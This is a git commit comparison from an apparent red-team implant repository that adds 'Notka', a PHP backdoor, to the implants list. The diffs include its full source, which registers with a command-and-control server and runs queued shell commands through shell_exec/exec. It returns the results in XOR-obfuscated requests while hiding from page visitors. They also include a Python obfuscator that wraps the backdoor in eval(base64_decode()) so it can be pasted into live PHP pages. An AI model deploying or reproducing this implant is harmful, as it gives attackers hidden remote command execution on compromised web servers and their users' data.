Compare commits

...

3 Commits

Author SHA1 Message Date
3311f22629 Added Notka to implants list 2026-10-11 14:15:00 -05:00
62f9d2b736 Created Notka agent 2026-10-11 14:12:25 -05:00
f45e8b7e77 Updated Windows compile instructions 2026-10-11 13:42:55 -05:00
5 changed files with 361 additions and 2 deletions

View File

@ -31,3 +31,4 @@ python3 -m http.server # Starts a webserver on port 8000
|---|---|---|---|
|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux|
|`Midas`|Windows trolling utilities|Rust|Windows
|`Notka`|PHP implant for running shell commands|PHP|Cross platform|

17
implants/notka/README.md Normal file
View File

@ -0,0 +1,17 @@
# Notka
A minimal PHP implant meant to be dropeed into a high traffic PHP page. Requesting the page registeres the implant with Altin and runs all commands queued.
## Config
Set the `$server` and `$key` in `notka.php`
## Obfuscate
The payload can be obfuscated by running the `obfuscate.py` script, it will output the obfuscated version to `payload.php`.
## Deployment
The contents of `payload.php` can the be pasted into any PHP page.
## Commands
|Command|Description|Arguments|
|---|---|---|
|`shell`|Run a command|command: str|

194
implants/notka/notka.php Normal file
View File

@ -0,0 +1,194 @@
// Config
$server = 'http://127.0.0.1:3000';
$key = 'asdf';
// Protocol
define('ACTION_CHECKIN', 1);
define('ACTION_REGISTER', 2);
define('ACTION_TASK_RESULT', 3);
define('STATUS_ERROR', 0);
define('STATUS_CONTINUE', 1);
define('STATUS_TASKS', 2);
define('STATUS_REGISTER', 3);
define('STATUS_INVALID', 4);
function xor_msg($string, $key) {
$result = '';
$key_len = strlen($key);
for ($i = 0; $i < strlen($string); $i++) {
$result .= $string[$i] ^ $key[$i % $key_len];
}
return $result;
}
function send_request($server, $key, $data) {
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/json\r\n",
'content' => xor_msg(json_encode($data), $key),
'timeout' => 10,
'ignore_errors' => true,
],
]);
$response = @file_get_contents($server, false, $context);
if ($response === false || $response === '') {
return(null);
}
$decoded = json_decode(xor_msg($response, $key), true);
if (!is_array($decoded)) {
return(null);
}
return($decoded);
}
function build_commands() {
return([
[
'command' => 'shell',
'description' => 'Run a shell command on the system',
'args' => [
[
'name' => 'command',
'arg_type' => 'str',
'description' => 'The command to run',
'required' => true
]
]
]
]);
}
function send_registration($server, $key) {
$data = [
'implant_id' => 'notka',
'ip' => getHostByName(getHostName()),
'action' => ACTION_REGISTER,
'registration' => [
'os' => php_uname('s'),
'commands' => build_commands()
]
];
$response = send_request($server, $key, $data);
if ($response === null || !isset($response['status'])) {
return(STATUS_ERROR);
}
return($response['status']);
}
function do_checkin($server, $key) {
$data = [
'implant_id' => 'notka',
'ip' => getHostByName(getHostName()),
'action' => ACTION_CHECKIN
];
return(send_request($server, $key, $data));
}
function report_task_result($server, $key, $task_id, $result) {
$data = [
'implant_id' => 'notka',
'ip' => getHostByName(getHostName()),
'action' => ACTION_TASK_RESULT,
'result' => [
'task_id' => $task_id,
'result' => $result
]
];
return(send_request($server, $key, $data));
}
function run_shell($command) {
if (function_exists('shell_exec')) {
$output = @shell_exec($command . ' 2>&1');
if ($output !== null) {
return($output);
}
}
if (function_exists('exec')) {
$lines = [];
@exec($command . ' 2>&1', $lines);
return(implode("\n", $lines));
}
return('Failed to run command');
}
function run_task($task) {
if (!isset($task['task']) || !isset($task['args']) || $task['task'] !== 'shell') {
return('Unknown command');
}
if (!isset($task['args'][0]) || $task['args'][0] === '') {
return('No command provided');
}
return(run_shell($task['args'][0]));
}
function handle_checkin($server, $key, $response) {
if ($response === null || !isset($response['status'])) {
return;
}
switch ($response['status']) {
case STATUS_TASKS:
if (!isset($response['tasks']) || !is_array($response['tasks'])) {
return;
}
// Run every queued command and report the results
foreach ($response['tasks'] as $task) {
$result = run_task($task);
report_task_result($server, $key, $task['task_id'], $result);
}
break;
case STATUS_REGISTER:
// Not registered yet, register and check in again
send_registration($server, $key);
handle_checkin($server, $key, do_checkin($server, $key));
break;
default:
break;
}
}
function main($server, $key) {
// Run in the background: hand the response to the client and keep working
ignore_user_abort(true);
set_time_limit(0);
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
} else {
header('Connection: close');
header('Content-Length: 0');
while (ob_get_level() > 0) {
ob_end_flush();
}
flush();
}
// Register (idempotent), then do a single checkin callback
$status = send_registration($server, $key);
if ($status === STATUS_CONTINUE) {
handle_checkin($server, $key, do_checkin($server, $key));
}
}
main($server, $key);

147
implants/notka/obfuscate.py Normal file
View File

@ -0,0 +1,147 @@
import re
import random
import string
import base64
def random_name(length=8):
return ''.join(random.choices(string.ascii_letters, k=length))
def tokenize_php(code):
token_pattern = re.compile(
r"""
("(?:\\.|[^"])*") | # double quoted string
('(?:\\.|[^'])*') | # single quoted string
(//[^\n]*\n?) | # single-line comment
(/\*.*?\*/) | # multi-line comment
(\$[a-zA-Z_]\w*) | # variable
([a-zA-Z_]\w*) | # identifier
(\s+) | # whitespace
(.) # everything else
""",
re.VERBOSE | re.DOTALL
)
tokens = []
for match in token_pattern.finditer(code):
tokens.append(match.group(0))
return tokens
def obfuscate_php(code: str, wrap_eval=False, one_liner=False) -> str:
tokens = tokenize_php(code)
var_map = {}
func_map = {}
superglobals = {
"$_GET", "$_POST", "$_REQUEST", "$_SERVER",
"$_SESSION", "$_COOKIE", "$_FILES", "$_ENV", "$GLOBALS"
}
output = []
next_is_function_name = False
i = 0
while i < len(tokens):
token = tokens[i]
# Preserve strings and comments
if token.startswith(("'", '"', "//", "/*")):
output.append(token)
i += 1
continue
# Detect function keyword
if token == "function":
next_is_function_name = True
output.append(token)
i += 1
continue
# Rename function declaration
if next_is_function_name and re.match(r'[a-zA-Z_]\w*', token):
if token not in func_map:
func_map[token] = random_name()
output.append(func_map[token])
next_is_function_name = False
i += 1
continue
# Handle variables
if re.match(r'\$[a-zA-Z_]\w*', token):
original_var = token
if original_var in superglobals:
output.append(original_var)
i += 1
continue
if original_var not in var_map:
var_map[original_var] = "$" + random_name()
new_var = var_map[original_var]
# Detect assignment to string literal
j = i + 1
while j < len(tokens) and tokens[j].isspace():
j += 1
if j < len(tokens) and tokens[j] == "=":
k = j + 1
while k < len(tokens) and tokens[k].isspace():
k += 1
if (
k < len(tokens)
and (tokens[k].startswith('"') or tokens[k].startswith("'"))
):
string_literal = tokens[k]
unquoted = string_literal[1:-1]
encoded = base64.b64encode(unquoted.encode()).decode()
output.append(new_var)
output.append("=")
output.append(f'base64_decode("{encoded}")')
i = k + 1
continue
output.append(new_var)
i += 1
continue
# Rename function calls
if token in func_map:
output.append(func_map[token])
i += 1
continue
output.append(token)
i += 1
result = ''.join(output)
# -------- MAKE ONE LINER --------
if one_liner:
# Collapse all whitespace to single spaces
result = re.sub(r'\s+', ' ', result)
# Remove spaces around common operators/punctuation
result = re.sub(r'\s*([{}();,=+\-*/<>])\s*', r'\1', result)
result = result.strip()
# Optional full script base64 wrap
if wrap_eval:
encoded = base64.b64encode(result.encode()).decode()
result = f'eval(base64_decode("{encoded}"));'
return result
payload = open('notka.php', 'r')
obfuscated_payload = obfuscate_php(payload.read(), True, True)
payload.close()
output = open('payload.php', 'w')
output.write(obfuscated_payload)
output.close()

View File

@ -8,7 +8,7 @@ Change the values in `src/config.nim` as needed.
nim c -d:release -d:ssl -o:tombili.bin src/main.nim
# If compiling for Windows from MacOS or Linux:
nim c -d:release -d:ssl -o:tombili.exe src/main.nim
nim c -d:release -d:mingw -d:ssl -o:tombili.exe src/main.nim
```
## Commands